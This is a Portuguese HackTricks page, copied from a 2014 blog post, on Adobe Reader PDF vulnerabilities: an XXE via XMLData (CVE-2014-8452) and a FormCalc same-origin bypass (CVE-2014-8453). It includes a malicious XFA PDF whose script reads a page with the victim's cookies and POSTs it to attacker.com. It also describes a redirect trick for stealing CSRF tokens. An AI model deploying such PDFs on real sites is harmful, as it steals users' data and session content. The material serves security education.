2023-06-06 18:56:34 +00:00
# Upload de PDF - Bypass de XXE e CORS
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de cibersegurança** ? Você quer ver sua **empresa anunciada no HackTricks** ? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF** ? Confira os [**PLANOS DE ASSINATURA** ](https://github.com/sponsors/carlospolop )!
* Descubra [**A Família PEASS** ](https://opensea.io/collection/the-peass-family ), nossa coleção exclusiva de [**NFTs** ](https://opensea.io/collection/the-peass-family )
* Adquira o [**swag oficial do PEASS & HackTricks** ](https://peass.creator-spring.com )
* **Junte-se ao** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**grupo do Discord** ](https://discord.gg/hRep4RUj7f ) ou ao [**grupo do telegram** ](https://t.me/peass ) ou **siga-me** no **Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/hacktricks_live )**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks ](https://github.com/carlospolop/hacktricks ) e [hacktricks-cloud repo ](https://github.com/carlospolop/hacktricks-cloud )**.
2022-04-28 16:01:33 +00:00
< / details >
2023-06-06 18:56:34 +00:00
#### Conteúdo copiado de [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
### A função Javascript no Reader pode ser usada para ler dados de entidades externas (CVE-2014-8452)
2021-10-18 11:21:18 +00:00
2023-06-06 18:56:34 +00:00
Status: Corrigido\
Realidade: Não corrigido\
2021-10-18 11:21:18 +00:00
\
2023-06-06 18:56:34 +00:00
Este é sobre um simples XXE que descobri.\
Li o artigo "Polyglots: Crossing Origins by Crossing Formats", onde discutiram uma vulnerabilidade em\
XMLData.parse. Era possível usar entidades externas e referenciá-las.\
Li a especificação e descobri que existem mais funções do que "parse" para ler XML.\
Criei um arquivo xml simples, que referencia uma url do mesmo domínio e o analisei com loadXML.\
Funcionou:
2020-10-15 13:16:06 +00:00
![](https://4.bp.blogspot.com/-is4Q5hSZk-Y/VIwdzdAckWI/AAAAAAAAACI/OAzBs9Q-T50/s1600/xxe.png)
2021-10-18 11:21:18 +00:00
```
2020-10-15 13:16:06 +00:00
7 0 obj
< <
/Type /Action
/S /JavaScript
/JS (
var cXMLDoc = '<?xml version="1.0" encoding="ISO-8859-1"?> < foo > muh< / foo > '
var cXMLDoc2 = '<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ENTITY aaaa SYSTEM "http://example.com"> ]>< ab > &aaaa; < / ab > '
xml = XMLData.parse(cXMLDoc,false);
xml.loadXML(cXMLDoc2,false,true);
)
>>
endobj
```
2023-06-06 18:56:34 +00:00
O impacto é limitado porque\
o) é limitado à mesma origem\
o) as páginas HTML quebram o xml\
o) Entidades dinâmicas não são suportadas\
o) Eu tive a ideia de usar um xml utf-16 para evitar quebrar a estrutura xml, mas não funcionou.\
2021-10-18 11:21:18 +00:00
\
2023-06-06 18:56:34 +00:00
Mas ainda pode ser usado para ler JSON.
2020-10-15 13:16:06 +00:00
2023-06-06 18:56:34 +00:00
### Bypass da política de mesma origem no Reader (CVE-2014-8453)
2021-10-18 11:21:18 +00:00
2023-06-06 18:56:34 +00:00
Status: corrigido\
Realidade: corrigido, mas a mesma origem ainda é vulnerável!\
2021-10-18 11:21:18 +00:00
\
2023-06-06 18:56:34 +00:00
Na minha opinião, esta é a vulnerabilidade mais poderosa. Mesmo sem o Bypass de Origem, ela mostra\
o quão poderoso/assustador o PDF pode ser.\
Muitas pessoas sabem que o PDF suporta uma linguagem de script chamada Javascript, mas há outra.\
É mencionado na especificação para XFA, um tipo de arquivo também suportado pelo leitor da Adobe.\
Chama-se formcalc e não é tão poderoso. É usado para cálculos matemáticos simples. Mas na especificação da Adobe\
há três funções adicionais: 'GET', 'POST' e 'PUT'. Sim, seus nomes falam por si mesmos.\
'GET' tem um parâmetro: uma url. Ele usará o navegador (SIM, COOKIES) para recuperar a url e retornar o conteúdo dela.\
Podemos então usar 'POST' para enviar o conteúdo retornado para nosso próprio servidor:\
2021-10-18 11:21:18 +00:00
\
2023-06-06 18:56:34 +00:00
var content = GET("meusamigos.php");\
Post("http://atacante.com",content);\
2021-10-18 11:21:18 +00:00
\
2023-06-06 18:56:34 +00:00
Essas funções são da mesma origem, então um site precisa nos permitir fazer upload de um PDF. Isso não é tão irrealista para\
a maioria dos sites. Atacante.com não é da mesma origem, então você precisa configurar um crossdomain.xml, como de costume com produtos da Adobe.\
2021-10-18 11:21:18 +00:00
\
2023-06-06 18:56:34 +00:00
Para resumir: Isso não é um bug, é um recurso. Assim que você é permitido fazer upload de um PDF em um site,\
você pode acessar o site no contexto do usuário que está visualizando o PDF. Como as solicitações são emitidas\
pelo navegador, os cookies também são enviados. Você também pode usá-lo para quebrar qualquer proteção CSRF lendo os tokens.
2021-10-18 11:21:18 +00:00
```
2020-10-15 13:16:06 +00:00
% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012
% modified by insertscript
%PDF-1. % can be truncated to %PDF-\0
1 0 obj < < >>
stream
< xdp:xdp xmlns:xdp = "http://ns.adobe.com/xdp/" >
< config > < present > < pdf >
< interactive > 1< / interactive >
< / pdf > < / present > < / config >
< template >
< subform name = "_" >
< pageSet / >
< field id = "Hello World!" >
< event activity = "initialize" >
< script contentType = 'application/x-formcalc' >
var content = GET("myfriends.php");
Post("http://attacker.com",content);
< / script >
< / event >
< / field >
< / subform >
< / template >
< / xdp:xdp >
endstream
endobj
trailer < <
/Root < <
/AcroForm < <
/Fields [< <
/T (0)
/Kids [< <
/Subtype /Widget
/Rect []
/T ()
/FT /Btn
>>]
>>]
/XFA 1 0 R
>>
/Pages < < >>
>>
>>
```
2023-06-06 18:56:34 +00:00
Depois de encontrar essas funções, encontrei uma forma de burlar a política de mesma origem. Isso torna possível usar o navegador da vítima como um proxy (@beef ainda está trabalhando no módulo^^).
2020-10-15 13:16:06 +00:00
2023-06-06 18:56:34 +00:00
A forma de burlar é realmente simples:
2020-10-15 13:16:06 +00:00
2023-06-06 18:56:34 +00:00
1. O usuário A carrega o evil.pdf de http://attacker.com/evil.pdf
2. O evil.pdf usa o formcalc GET para ler http://attacker.com/redirect.php
3. redirect.php redireciona com 301 para http://facebook.com
4. O Adobe reader seguirá e lerá a resposta sem procurar um crossdomain.xml.
5. O evil.pdf envia o conteúdo recuperado via POST para http://attacker.com/log.php
2020-10-15 13:16:06 +00:00
2023-06-06 18:56:34 +00:00
Observe que, usando essa técnica, você pode roubar os tokens CRSF de uma página e abusar das vulnerabilidades CSRF.
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
Essa simples forma de burlar foi corrigida agora. Espero que eles implementem um aviso de diálogo para solicitações de mesma origem também.